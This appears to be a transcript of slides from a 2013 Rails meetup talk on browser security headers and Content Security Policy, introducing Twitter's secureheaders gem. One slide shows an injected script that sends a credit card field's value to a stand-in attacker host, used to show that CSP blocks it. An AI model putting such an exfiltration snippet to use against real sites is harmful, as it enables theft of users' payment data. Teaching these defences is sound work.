43
@ocrails | @ndm @ocrails January 30, 2013 Not your typical Rails security talk Header use @ Twitter B

2013: OC Rails Jan - SecureHeaders library and content security policy

Embed Size (px)

DESCRIPTION

Discusses the various security-related browser response headers and the benefits around them. Also introduces the secureheaders gem (https://github.com/twitter/secureheaders) which simplifies the application

Citation preview

Page 1: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

@ocrailsJanuary 30, 2013

Not your typical Rails security talkHeader use @ Twitter

B

Page 2: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

What are headers?

Page 3: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Wait, not those ones

Page 4: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

OK, but what are browser headersAuthorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==

Accept: text/plain

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0

Page 5: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Response headersCache-Control: max-age=3600

ETag: "737060cd8c284d8af7ad3082f209582d"

Location: http://www.w3.org/pub/WWW/People.html

Page 6: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

I’m already boredTime to get awesomer

Page 7: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Security headersLeverage the browser for security

Page 8: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Sweeeeet. I don’t have write secure code!

Page 9: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Time of convergence

Page 10: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Should you?

Page 11: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Do you use these?Content security policy

X-Frame-Options

HTTP Strict Transport Security

X-Xss-Protection

X-Content-Type-Options

Page 12: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

X-ContentType-OptionsFixes mime sniffing attacks

Only applies to IE, because only IE would do something like this

X-Content-Type-Options = ‘nosniff’

zzzzZZZZZZzzzzz

Page 13: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

X-Xss-ProtectionUse the browser’s built in XSS Auditor

X-Xss-Protection: [0-1](; mode=block)?

X-Xss-Protection: 1; mode=block

(SCREENSHOT OF BLOCKED SCRIPT)

zzzzZZZ... huh? zzzzzzzz

Page 14: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

X-Frame-OptionsProtects you from most classes of Clickjacking

X-Frame-Options: DENY

X-Frame-Options: SAMEORIGIN

X-Frame-Options: ALLOW FROM example.com

zzz... oh hey thats cool. Don’t frame my stuff.

Page 15: 2013: OC Rails Jan - SecureHeaders library and content security policy

@owaspoc Jan 2013@ndm | @presidentbeef

X-Frame-Options

Page 16: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Firesheep/SSL StripGiven I don’t haven’t received an HSTS header

And I have a session

When I visit http://example.com

Then I am pwned

Page 17: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Other ssl failsPosting passwords over HTTP

Loading mixed content

Using protocol relative URLS

Page 18: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Strict Transport Security

Page 19: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

How hard is it to use?Base CaseStrict-transport-security: max-age=10000000

Do all of your subdomains support SSL?Strict-transport-security: max-age=10000000; includeSubdomains

(SSL FOR DUMMIES PICTURE)

Page 20: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Content secur-a-wat?Content security policy is reshaping the security modelIt is a complicated spec with great differences across browsers

It is not widely adopted

However, It completely eliminates reflected and stored XSSIt ensures that you never load mixed content

It can protect users with infected browsers

It allows you to accept arbitrary html code from users

Page 21: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Wat? Sounds cool. x-webkit-csp:

script-src

style-src

img-src

default-src

frame-src

connect-src

font-src

media-src

object-src

report-uri

Page 22: 2013: OC Rails Jan - SecureHeaders library and content security policy

@owaspoc Jan 2013@ndm | @presidentbeef

QuickTime™ and aH.264 decompressor

are needed to see this picture.

Page 23: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Get rid of XSS, eh?A script-src directive that doesn’t contain ‘unsafe-inline’ almost eliminates most forms of cross site scripting.

I WILL NOT WRITE INLINE JAVASCRIPT

I WILL NOT WRITE INLINE JAVASCRIPT

I WILL NOT WRITE INLINE JAVASCRIPT

I WILL NOT WRITE INLINE JAVASCRIPT

I WILL NOT WRITE INLINE JAVASCRIPT

I WILL NOT WRITE INLINE JAVASCRIPT

I WILL NOT WRITE INLINE JAVASCRIPT

Page 24: 2013: OC Rails Jan - SecureHeaders library and content security policy

@owaspoc Jan 2013@ndm | @presidentbeef

Page 25: 2013: OC Rails Jan - SecureHeaders library and content security policy

@owaspoc Jan 2013@ndm | @presidentbeef

But I have to...OK, then I’ll inject:<script>

var image = new Image();

image.src = “cyberhacker.com/steal?data=”+ $(‘#credit_card’).val();

</script>

FALSE! img-src violation, no XHR allowed

Page 26: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Inline css too? WTF?

Page 27: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Choose your own adventure

Page 28: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Apply all the headers!

Page 29: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

How to apply?Secure headers!

Open sourced earlier this month

https://github.com/twitter/secureheaders

Page 30: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

How does it work?It sets a before_filter that applies each header

Values are based on options passed to filter, or in an initializer

Easily overridden

Secure by default!!!

Page 31: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

What about that security policy thingy

There are > 6 differences between these two header values

Page 32: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Yay for standards

Page 33: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Long hair don’t careAbout browser inconsistencies

Page 34: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Other featuresSet separate policies for http/https

Autofill chrome-extension: (becoming part of spec)

Auto fill missing directives with default value (becoming part of the spec)

Page 35: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

You mean there’s more on CSP?The browser sends reports!

Page 36: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

What does the report look like?{

"csp-report"=> {

"document-uri"=>"http://localhost:3000/home",

"referrer"=>"",

"blocked-uri"=>"ws://localhost:35729/livereload",

"violated-directive"=>"xhr-src ws://localhost.twitter.com:*"

}

}

Page 37: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Quiz: what does this report indicate?{

"csp-report"=> {

"document-uri"=>"http://example.com/welcome",

"referrer"=>"",

"blocked-uri"=>"self",

"violated-directive"=>"inline script base restriction",

"source-file"=>"http://example.com/welcome",

"script-sample"=>"alert(1)",

"line-number"=>81

}

}

Page 38: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Header gem to the rescueIt forwards CSP reports for Firefox

It makes setting an enforce and report only mode easy for experimentation

Page 39: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Monitor and Tune ALL the things

Page 40: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Splunk

Page 41: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Trending and anomalies

Page 42: 2013: OC Rails Jan - SecureHeaders library and content security policy

@owaspoc Jan 2013@ndm | @presidentbeef

CSP

Brakeman

ThreatDeckPhantom Gang

Roshambo

Emaildevelopers

Emailsecurity

Page 43: 2013: OC Rails Jan - SecureHeaders library and content security policy

@ocrails | @ndm

Who wants to buy me a beer?